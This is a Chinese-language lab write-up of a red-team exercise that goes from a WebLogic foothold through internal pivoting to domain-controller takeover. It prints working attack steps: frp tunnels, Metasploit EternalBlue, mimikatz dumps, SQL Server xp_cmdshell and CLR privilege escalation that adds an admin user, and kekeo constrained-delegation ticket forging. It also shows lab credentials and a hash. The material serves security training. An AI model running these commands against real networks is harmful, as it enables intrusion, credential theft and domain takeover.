漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控

本文主要是介绍漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!


文章目录

    • 环境搭建
    • 1.外网打点
    • 2.上线 CS
    • 3.内网横向
      • 信息收集
      • 存活探测&漏洞扫描
      • 搭建代理
      • ms17010
      • 抓密码
    • 4.二层内网域渗透
      • win7上线cs
      • 内网信息收集
      • 二层Frp代理
      • 打数据服务器SQL server
      • 上线CS
    • 5.域内委派拿域控

从外网 Weblogic 打进内网,再到约束委派接管域控

靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

本靶场存在的漏洞:

GPP:admin:admin!@#45
存在 GPP 漏洞
存在 MS14-068
存在 CVE-2020-1472
Exchange 各种漏洞都可尝试
可尝试非约束委派
可尝试约束委派
存在 CVE-2019-1388
存在 CVE-2019-0708

环境搭建

虚拟机文件比较大,解压之后有 74.8G,所以要保证有足够的空间,建议使用固态硬盘,解压之后直接使用 VMware 扫描虚拟机并依次获取权限

image-20220507102253091

网站拓扑

图片

更新一下上图的环境

网关 IP:192.168.43.252
Kali IP:192.168.43.58
Windows 11 hacker IP:192.168.43.166
Windows 2012 IP:192.168.43.92

发现 Windows 可以 ping 通 Kali,但是 kali 却 ping 不通,很容易想到是 Windows 的防火墙问题,关掉即可

还需要注意一个问题,这里选择的是桥接模式,之前都是 nat,其实用哪一种都行

image-20220507144405849

这个图就很好地说明了之前的区别,就是使用 nat 模式的物理机是可以访问所有虚拟机的但是虚拟机无法访问物理机,使用桥接就可以相互访问,还有说如果是需要认证的校园网大概率用户不了桥接模式(虚拟机没法联网)

靶机一的 weblogic 需要手动开启

weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)

1.外网打点

目标 IP:192.168.43.92

使用 nmap 进行端口扫描服务发现

nmap -sV -sT -Pn 192.168.43.92

在一般实战中建议制定端口扫描,因为速度快且扫描精度高

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.43.92

image-20220507152533105

发现开放了 7001 端口,即 weblogic 服务

http://192.168.43.92:7001/console/login/LoginForm.jsp

image-20220507150339521

利用工具下载,过于脚本小子了

image-20220507152649200

执行命令发现是 administrator 权限,并且可以连通外网

image-20220507152734392

2.上线 CS

直接执行 Powershell 命令上线 CS

在 VPS 或者虚拟机 kali 上开启 CS server,生成监听器,执行命令

image-20220507160155736

上线

image-20220507160209182

通过命令发现存在第二个网卡,是一个内网网段

image-20220507160554444

3.内网横向

信息收集

  • 抓取主机密码

    image-20220507161002707

    WEBLOGIC\Administrator ccef208c6485269c20db2cad21734fe7
    

    靶机为 WinServer 2012 所以不能直接读明文密码

  • 判断是否在域内

    ipconfig /all
    

    image-20220507162339102

    判断在工作组中而不是在域中

    使用以下两条命令再确认一下

    systeminfo
    net config workstation
    

    image-20220507162536101

    image-20220507162502035

存活探测&漏洞扫描

CS 导入 Cobalt-Strike-Aggressor-Scripts 插件组,插件下载地址:https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts

image-20220507163012012

加载之后右击主机列表会出现很多工具

image-20220507163102893

向 Victim 机器上传 nbtscan,之后执行 nbtscan 输入目标 10.10.20.0/24

image-20220507163330797

发现一台机器 IP 为 10.10.20.7

通过文件管理上传 fscan 进行扫描

shell fscan_win32.exe -h 10.10.20.0/24

确定目标机器为 win7 系统,并且存在永恒之蓝

image-20220507163928351

搭建代理

  1. 搭建 Frp 隧道,进行漏洞利用,Kali 上配置 Frps.ini 配置文件

    image-20220507164347971

    启动 Frps

    ./frps -c frps.ini
    

    image-20220507164613634

  2. Victim 上传 frpc.exe 和 frpc.ini

    [common]
    server_addr = VPS/kali ip
    server_port = 7000[plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    启动 frpc

    shell frpc.exe -c frpc.ini
    

    image-20220507165114178

    启动之后代理就搭建完毕了,这样攻击者就可以通过跳板机 weblogic 靶机向内网发起访问请求

ms17010

因为内网 win7 主机存在 ms17010 直接用 msf

首先拿到 meterpreter 会话

msf6 > setg Proxies socks5:192.168.43.58:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

proxy 的 IP 就是 kali 的 IP,rhost 就是内网地址

在 msf 攻击中可以清晰的看到攻击流程,使用的是目标 smb 445 端口

第一次以蓝屏终结

image-20220508105156665

MSF永恒之蓝mf17010失败原因

  1. 一次没有成功再多次尝试
  2. 目标机器蓝屏
  3. MSF payload 为 64 位目标机器也需要 64 位,也 python 有 32 位 的 payload
  4. 永恒之蓝流量比较大

修改了下 win7 靶机内存调整到了 2G,第二次尝试成功

image-20220508105707845

拿到 meterpreter

image-20220508105805150

抓密码

加载 mimikatz 读密码

load mimikatz
msv
kerberos

image-20220508105943889

image-20220508110552191

也可以加载新版 mimikatz - wiki

image-20220508110643832

可以发现没有明文密码,因为 win7 管理员没有登录,所以没有抓取到明文密码,只需要管理员登录机器再次执行命令就可以抓到明文密码

image-20220508111022485

4.二层内网域渗透

PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接

server 2012 weblogic:192.168.43.93

kali:192.168.43.99

win7上线cs

在 cs 中 win7 中转上线,现在上线 cs 的几种思路

  1. msf 上传 cs 的后门 exe 执行
  2. msf 的 meterpeter spawn 到 cs 会话
  3. cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行

使用方案一

1.CS 设置中转监听器

image-20220508111333148

image-20220508111338364

2.生成后门

image-20220508131115128

把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7

image-20220508132517982

进入 shell,执行 beacon.exe

image-20220508132547578

成功上线 cs

image-20220508132607160

内网信息收集

  • shell whoami
    

    image-20220508132840943

    shell ipconfig
    

    发现内网 10.10.10.0/24 段

    image-20220508132931259

  • 判断是否域环境

    shell ipconfig /all
    

    image-20220508133208864

    shell net user /domain
    

    image-20220508133248296

  • 确定域控主机 IP

    net group "Domain Controllers" /domain
    或者 net time /domain
    ping owa -n 2
    

    image-20220508133655941

    image-20220508133445538

当前进程是没有域管的,所以暂且放弃令牌窃取

image-20220508134529747

由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户

首先向 win7 靶机上传 adfind 工具

# 查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto# 查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20220508135251614

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密

上传 fscan.exe 到靶机进行信息收集和漏洞扫描

image-20220508154210862

PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了

看这篇文章:链接,因为过试用期了,需要升级重新输入密码

正常启动

image-20220508154057558

根据他开放的端口尝试以下操作:

  1. 80 端口 web 漏洞
  2. 1433 SQL server 漏洞
  3. 445 smb 等端口系统漏洞

其他拿域控思路:域控被突破的几种途径v2

二层Frp代理

现在尝试 80 端口漏洞

image-20220508161840412

  1. 搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini

    image-20220508155905811

    启动 frps

    shell frps.exe -c frps.ini
    
  2. 数据服务器开启 frpc

    shell frpc.exe -c frpc.ini
    
    [common]
    server_addr = 10.10.20.12
    server_port = 1111[http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    建立链接

    image-20220508162507851

    image-20220508162514238

  3. 在攻击者的 windows 电脑上可以用 proxifier 设置代理链

    image-20220508162704748

    image-20220508162717407

    在攻击者的 windows 电脑上可以正常访问 10.10.10.18

    image-20220508162922505

发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击

打数据服务器SQL server

尝试爆破 SQL server 密码

使用工具成功爆破用户密码

image-20220508163342992

可以看到流量被转发

image-20220508163339943

这样就拿到了域控主机的 SQL server 密码

随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具

.\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami

image-20220508164101746

却认为域控 ip

image-20220508164215612

目前的权限是nt authority\network service 即为普通服务权限,

由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了

image-20220508164827961

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧

一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在

image-20220508165057165

确实存在此目录,尝试写入文件,权限太小失败

image-20220508165248135

在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:https://www.anquanke.com/post/id/250346

在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp

使用 SharpSQLTools 开启目标 clr,进行提权

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

image-20220508165906554

然后启用并调用命令:

SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

image-20220508170007322

提权成功,只能说太牛皮了

添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"

image-20220508170331564

升级为 admin 组

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"

image-20220508170508054

查看用户

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"

image-20220508170619457

其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到

上线CS

漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可

1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18

vi /etc/proxychains.conf

代理链就和 Windows 物理机一样

image-20220508172723808

2.上线 msf

使用代理启动 msf

proxychains msfconsole

使用 mssql_clr_payload 模块

use exploit/windows/mssql/mssql_clr_payload

image-20220508172257116

3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理

生成 beacon.exe

4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限

使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机

5.域内委派拿域控

cs 中拿到用户密码

image-20220509080607350

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控

通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

image-20220509082530523

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image-20220509082625206

image-20220509082653026

参考链接

http://moonflower.fun/index.php/2022/03/06/300/

https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

https://xie.infoq.cn/article/2edac2bc38860fa97386f7c27

这篇关于漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/172691

相关文章

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

SQL中的外键约束

外键约束用于表示两张表中的指标连接关系。外键约束的作用主要有以下三点: 1.确保子表中的某个字段(外键)只能引用父表中的有效记录2.主表中的列被删除时,子表中的关联列也会被删除3.主表中的列更新时,子表中的关联元素也会被更新 子表中的元素指向主表 以下是一个外键约束的实例展示

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

C#实战|大乐透选号器[6]:实现实时显示已选择的红蓝球数量

哈喽,你好啊,我是雷工。 关于大乐透选号器在前面已经记录了5篇笔记,这是第6篇; 接下来实现实时显示当前选中红球数量,蓝球数量; 以下为练习笔记。 01 效果演示 当选择和取消选择红球或蓝球时,在对应的位置显示实时已选择的红球、蓝球的数量; 02 标签名称 分别设置Label标签名称为:lblRedCount、lblBlueCount

poj 3159 (spfa差分约束最短路) poj 1201

poj 3159: 题意: 每次给出b比a多不多于c个糖果,求n最多比1多多少个糖果。 解析: 差分约束。 这个博客讲差分约束讲的比较好: http://www.cnblogs.com/void/archive/2011/08/26/2153928.html 套个spfa。 代码: #include <iostream>#include <cstdio>#i

poj 3169 spfa 差分约束

题意: 给n只牛,这些牛有些关系。 ml个关系:fr 与 to 牛间的距离要小于等于 cost。 md个关系:fr 与 to 牛间的距离要大于等于 cost。 隐含关系: d[ i ] <= d[ i + 1 ] 解析: 用以上关系建图,求1-n间最短路即可。 新学了一种建图的方法。。。。。。 代码: #include <iostream>#include

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

滚雪球学Java(87):Java事务处理:JDBC的ACID属性与实战技巧!真有两下子!

咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE啦,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好习惯,别被干货淹没了哦~ 🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎大家关注&&收藏!持续更新中,up!up!up!! 环境说明:Windows 10

POJ 1364差分约束

给出n个变量,m个约束公式 Sa + Sa+1 + .... + Sa+b < ki or > ki ,叫你判断是否存在着解满足这m组约束公式。 Sa + Sa+1   +   .+ Sa+b =  Sum[a+b] - Sum[a-1]  . 注意加入源点n+1 。 public class Main {public static void main(Strin

springboot实战学习(1)(开发模式与环境)

目录 一、实战学习的引言 (1)前后端的大致学习模块 (2)后端 (3)前端 二、开发模式 一、实战学习的引言 (1)前后端的大致学习模块 (2)后端 Validation:做参数校验Mybatis:做数据库的操作Redis:做缓存Junit:单元测试项目部署:springboot项目部署相关的知识 (3)前端 Vite:Vue项目的脚手架Router:路由Pina:状态管理Eleme